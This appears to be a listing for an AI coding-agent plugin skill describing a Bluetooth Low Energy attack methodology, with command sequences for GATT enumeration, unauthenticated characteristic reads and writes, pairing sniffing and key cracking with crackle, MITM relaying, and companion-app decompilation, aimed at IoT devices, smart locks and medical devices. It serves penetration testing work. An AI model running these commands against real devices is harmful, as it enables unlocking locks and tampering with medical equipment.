Help us improve
Share bugs, ideas, or general feedback.
From cybersec-toolkit
BLE attack methodology covering GATT enumeration, auth-free read/write, pairing downgrade, MITM relay, sniffing, and companion-app trust analysis for IoT devices, smart locks, and medical devices.
npx claudepluginhub 26zl/cybersec-toolkit --plugin cybersec-toolkitHow this skill is triggered — by the user, by Claude, or both
Slash command
/cybersec-toolkit:offensive-bluetooth-bleThe summary Claude sees in its skill listing — used to decide when to auto-load this skill
BLE devices communicate via GATT — a hierarchy of services, characteristics, and descriptors. Many devices treat the BLE link itself as the trust boundary, exposing privileged operations on characteristics readable/writable from any nearby device.
Detects and analyzes Bluetooth Low Energy security attacks including sniffing, replay, GATT enumeration, and MitM. Use for BLE security assessment, penetration testing, and monitoring.
Detects and analyzes Bluetooth Low Energy (BLE) security attacks including sniffing, replay, GATT enumeration abuse, and MitM interception using Ubertooth One and nRF52840 sniffers.
Detects and analyzes BLE security attacks like sniffing, replay, GATT enumeration abuse, and MITM using Ubertooth One, nRF52840, bleak Python library, and crackle. For IoT device assessments and authorized pentesting.
Share bugs, ideas, or general feedback.
BLE devices communicate via GATT — a hierarchy of services, characteristics, and descriptors. Many devices treat the BLE link itself as the trust boundary, exposing privileged operations on characteristics readable/writable from any nearby device.
# bettercap (interactive)
sudo bettercap -eval "ble.recon on; events.show 60; ble.show"
# Or, attach to a known-MAC device
sudo bettercap -eval "ble.recon on; ble.enum AA:BB:CC:DD:EE:FF"
# bluetoothctl
bluetoothctl
> scan on
> connect AA:BB:CC:DD:EE:FF
> menu gatt
> list-attributes
# gatttool (deprecated but still works)
gatttool -b AA:BB:CC:DD:EE:FF -I
> connect
> primary # list services
> char-desc # list characteristics
> char-read-uuid <uuid>
> char-write-req <handle> <hex>
GATT services use 16-bit UUIDs for SIG-defined services (battery, heart rate) and 128-bit UUIDs for vendor-defined ones. Custom 128-bit UUIDs are where vendor-specific commands live — that's your attack surface.
Test every characteristic flagged read/write/notify:
# Read all readable characteristics
for h in $(gatttool -b <MAC> --primary | awk '{print $5}'); do
echo "=== Handle $h ==="
gatttool -b <MAC> --char-read --handle=$h
done
# Write to writable characteristics with crafted values
gatttool -b <MAC> --char-write-req --handle=0x0010 --value=0x01
Common findings on consumer BLE devices:
unlock characteristic accepts any write (no auth)# Bluetoothctl shows pairing method on initial pair attempt
bluetoothctl
> pair AA:BB:CC:DD:EE:FF
# Watch for: "Confirm passkey", "Display passkey", or no prompt = Just Works
| Method | Security | Attack |
|---|---|---|
| Just Works | None — authenticates anything | Trivial MITM during pairing |
| Numeric Comparison | User confirms 6-digit code | UI manipulation only; crypto strong |
| Passkey Entry | 6-digit code entered or displayed | Brute attack on passkey crackable in some pairing variants |
| Out of Band (OOB) | NFC / QR exchange | Out of scope for BLE attacker |
LE Legacy Pairing uses TK derivation that's crackable from a captured pairing exchange. LE Secure Connections (Bluetooth 4.2+) uses ECDH and is strong if Just Works isn't forced.
# TI CC1352-based: Sniffle (modern, multi-channel)
sudo Sniffle -c 37,38,39 -o pairing.pcap
# Ubertooth (older but well-supported)
ubertooth-btle -f -c pairing.pcap
# Then in Wireshark, decode with crackle
crackle -i pairing.pcap -o decrypted.pcap
# Crackle handles LE Legacy Pairing TK guessing for short-passkey/JustWorks
For LE Legacy Pairing with Just Works, crackle recovers the LTK in seconds. For LE Secure Connections, crackle returns "encrypted with strong key, no recovery."
# btproxy / mirage-action-with-mitm — relay between device and victim's phone
mirage-action-with-mitm
# Or:
git clone https://github.com/Charmve/btproxy
sudo python btproxy.py
If pairing is Just Works, you become the legitimate peer for both sides — read/modify GATT operations in real time.
For vendor-defined characteristics, the format is in the app:
# Pull APK
adb pull /data/app/com.vendor.app/base.apk
# Decompile
jadx -d app_src base.apk
# Find BLE writes
grep -r "writeCharacteristic\|GATT_CHARACTERISTIC" app_src/
# Look at the bytes the app writes vs. observed in-air values
Hand off to offensive-mobile for deeper companion analysis.
unlock characteristic for unauth writeoffensive-iot)0000, 12345678, vendor-specific)# 1. Discover
sudo bettercap -eval "ble.recon on; events.show 60"
# 2. Connect + enum GATT
sudo bettercap -eval "ble.enum <MAC>"
# 3. Probe every characteristic for unauth read/write
for h in <handles>; do gatttool -b <MAC> --char-read --handle=$h; done
# 4. Inspect pairing — Just Works detected?
bluetoothctl pair <MAC>
# 5. If Just Works: sniff during real pair, crack LTK with crackle
sudo Sniffle -c 37,38,39 -o pair.pcap
crackle -i pair.pcap
# 6. RE companion app for proprietary commands
jadx -d app_src vendor.apk